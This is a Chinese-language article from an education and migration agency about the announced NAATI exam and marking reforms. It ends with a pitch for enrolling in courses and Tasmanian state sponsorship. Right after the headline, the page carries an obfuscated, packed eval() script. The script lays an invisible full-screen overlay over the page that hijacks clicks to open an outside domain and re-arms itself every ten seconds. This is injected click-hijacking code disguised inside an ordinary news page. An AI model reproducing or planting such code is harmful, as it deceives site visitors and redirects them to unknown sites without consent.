【最新】NAATI改革方案细节官方首次公布！两大应对方法别说我没告诉你哦~！

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>昨天NAATI官方首次正式公布了即将施行的NAATI考试及评分改革的具体方案，总的来讲有这些重点大家须要知道：

NAATI考试前需要达到一定要求；

考试形式有重大改变，参加考试可以带自己的电脑；

评分方式的改变。

下面指南针小编就带大家来具体看看这些改革，以及改革将带来的影响，和解决方案。
新闻回顾：

2016年11月，NAATI首次爆出改革大新闻，将要取消内部考试、变成“统考”，当时指南针也在第一时间发布了这个消息，并且对一些谣言进行了纠正，详细情况可以戳这里了解：【突发！】NAATI 要统一出卷统一阅卷了？已确定的真相在这里！

这么大的消息自然是一石激起千层浪，在之后我们又针对市场的种种消息进行了核实，最终确定了考试形式将会变为上机考试，只要是在2017年6月前报名读NAATI课程的考生就不会受到改革的影响等等信息，详细情况请戳这里：【最新】定啦！NAATI改革后可能使用上机考试形式，具体改革日期也已敲定！
最新消息：
昨天NAATI官方带来的具体考试及评分的改革方案如下：


1. 考试前需要达到的要求Pre-requisites
故名思意，达到以下要求后才能参加NAATI考试：

完成大约40小时的培训（completion of the NAATI Credentialing Training Modules or equivalent），内容包括翻译和笔译的基本知识。

完成英语水平测试，例如雅思和PTE考试，NAATI也有可能把其他英语水平测试纳入范围内，但是目前还没有确定的说明。

完成道德及跨文化能力测试（ethical and intercultural competency），考试时间大约为2-3个小时，简答题为主（based on short-answer questions）。



2. 考试形式的改变Certification testing

总的来讲考试形式有如下变化：

笔译考试中将出现修改错误题；

笔译考试可以在电脑上进行。NAATI鼓励考生带上自己的电脑，然后使用NAATI掌控的安全系统进行考试；

口译考试将新角色模仿互动题型，模拟现实口译的过程。这种新题型包括同传和交传两种形式，有在电话中和面对面进行口译两种场景。

3.评分方式改变New system for marking certification tests

具体情况如下：

改革后将使用先单项打分再综合评分的打分方式

NAATI预计此打分方式在2017年年中使用（mid-2017）

目前NAATI官方正在征集广大考生对此次改革的意见，如果小伙伴们有任何建议意见或者疑问，都可能给NAATI发邮件哦！此次意见征集的截止日期是2017年2月15日。


PS：关心的同学可以戳文章左下角“阅读原文”查看NAATI官网，上面有所有的最新消息！



如何应对：
1. 赶快报名！毫无疑问改革后的NAATI考试难度增加，要求也比较多，因此现在的上佳选择就是赶紧报名学习NAATI啊啊啊！只要是2017年6月30日之前报名NAATI课程的同学就不会一定不会受到改革的影响！
指南针15周年感恩回馈新老客户，现在全澳范围内NAATI课程特惠，具体价格，全澳联系方式请查看文章最上方的海报banner。
2. 塔州州担 2017年2月开始，塔州将开设NAATI课程！AustralianIdeal College (AIC) 将在霍巴特开设二级口译(Diploma ofInterpreting)和三级笔译(Advanced Diploma of Translating)课程，都是NAATI认证的内部考试课程。
并且！由于翻译一直是塔州州政府担保上的职业，因此只要通过了AIC在塔州的三级笔译课程的内部考试之后，就可以拿到Translator这个职业的职业评估，获得塔州州担保，55分即可移民！对于不是移民专业的朋友是一个绝佳选择啊有木有！
当然啦，在我们的忠实粉丝一定知道，之前我们有介绍过这种解决方案，具体的情况请戳右边了解：去塔州读NAATI，你得到的不只是5分！
现在我们了解并且确认过的情况基本就是这样，有任何情况更新指南针会马上告诉大家，请持续关注我们ozzhinanzhen。如果大家有任何疑问也欢迎留言给我们，贴心的指南针顾问会尽快回复大家。
联系人：
联系方式：